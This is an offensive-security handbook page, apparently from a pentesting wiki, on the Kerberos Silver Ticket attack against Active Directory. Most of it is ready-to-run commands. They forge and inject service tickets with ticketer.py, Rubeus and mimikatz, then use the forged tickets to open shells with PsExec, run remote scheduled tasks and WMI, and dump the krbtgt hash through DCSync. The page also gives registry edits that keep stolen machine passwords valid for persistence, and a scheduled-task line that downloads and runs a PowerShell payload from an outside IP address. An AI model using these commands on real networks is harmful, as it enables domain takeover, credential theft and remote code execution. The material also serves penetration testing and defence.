Silver Ticket

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Silver ticket

The Silver Ticket attack involves the exploitation of service tickets in Active Directory (AD) environments. This method relies on acquiring the NTLM hash of a service account, such as a computer account, to forge a Ticket Granting Service (TGS) ticket. With this forged ticket, an attacker can access specific services on the network, impersonating any user, typically aiming for administrative privileges. It's emphasized that using AES keys for forging tickets is more secure and less detectable.

Moreover, if you compromise an account's password with a SPN you can use that password to create a Silver Ticket impersonating any user to that service.

For ticket crafting, different tools are employed based on the operating system:

On Linux

python ticketer.py -nthash <HASH> -domain-sid <DOMAIN_SID> -domain <DOMAIN> -spn <SERVICE_PRINCIPAL_NAME> <USER>
export KRB5CCNAME=/root/impacket-examples/<TICKET_NAME>.ccache
python psexec.py <DOMAIN>/<USER>@<TARGET> -k -no-pass

On Windows

# Using Rubeus
## /ldap option is used to get domain data automatically
## With /ptt we already load the tickt in memory
rubeus.exe asktgs /user:<USER> [/rc4:<HASH> /aes128:<HASH> /aes256:<HASH>] /domain:<DOMAIN> /ldap /service:cifs/domain.local /ptt /nowrap /printcmd

# Create the ticket
mimikatz.exe "kerberos::golden /domain:<DOMAIN> /sid:<DOMAIN_SID> /rc4:<HASH> /user:<USER> /service:<SERVICE> /target:<TARGET>"

# Inject the ticket
mimikatz.exe "kerberos::ptt <TICKET_FILE>"
.\Rubeus.exe ptt /ticket:<TICKET_FILE>

# Obtain a shell
.\PsExec.exe -accepteula \\<TARGET> cmd

The CIFS service is highlighted as a common target for accessing the victim's file system, but other services like HOST and RPCSS can also be exploited for tasks and WMI queries.

Available Services

Using Rubeus you may ask for all these tickets using the parameter:

• /altservice:host,RPCSS,http,wsman,cifs,ldap,krbtgt,winrm

Silver tickets Event IDs

• 4624: Account Logon
• 4634: Account Logoff
• 4672: Admin Logon

Persistence

To avoid machines from rotating their password every 30 days set HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange = 1 or you could set HKLM\SYSTEM\CurrentControlSet\Services\NetLogon\Parameters\MaximumPasswordAge to a bigger value than 30days to indicate the rotation perdiod when the machines password should be rotated.

Abusing Service tickets

In the following examples lets imagine that the ticket is retrieved impersonating the administrator account.

CIFS

With this ticket you will be able to access the C$ and ADMIN$ folder via SMB (if they are exposed) and copy files to a part of the remote filesystem just doing something like:

dir \\vulnerable.computer\C$
dir \\vulnerable.computer\ADMIN$
copy afile.txt \\vulnerable.computer\C$\Windows\Temp

You will also be able to obtain a shell inside the host or execute arbitrary commands using psexec:

PsExec/Winexec/ScExec

HOST

With this permission you can generate scheduled tasks in remote computers and execute arbitrary commands:

#Check you have permissions to use schtasks over a remote server
schtasks /S some.vuln.pc
#Create scheduled task, first for exe execution, second for powershell reverse shell download
schtasks /create /S some.vuln.pc /SC weekly /RU "NT Authority\System" /TN "SomeTaskName" /TR "C:\path\to\executable.exe"
schtasks /create /S some.vuln.pc /SC Weekly /RU "NT Authority\SYSTEM" /TN "SomeTaskName" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1''')'"
#Check it was successfully created
schtasks /query /S some.vuln.pc
#Run created schtask now
schtasks /Run /S mcorp-dc.moneycorp.local /TN "SomeTaskName"

HOST + RPCSS

With these tickets you can execute WMI in the victim system:

#Check you have enough privileges
Invoke-WmiMethod -class win32_operatingsystem -ComputerName remote.computer.local
#Execute code
Invoke-WmiMethod win32_process -ComputerName $Computer -name create -argumentlist "$RunCommand"

#You can also use wmic
wmic remote.computer.local list full /format:list

Find more information about wmiexec in the following page:

WmiExec

HOST + WSMAN (WINRM)

With winrm access over a computer you can access it and even get a PowerShell:

New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC

Check the following page to learn more ways to connect with a remote host using winrm:

WinRM

LDAP

With this privilege you can dump the DC database using DCSync:

mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.local /user:krbtgt

Learn more about DCSync in the following page:

DCSync

References

• https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets
• https://www.tarlogic.com/blog/how-to-attack-kerberos/
• https://techcommunity.microsoft.com/blog/askds/machine-account-password-process/396027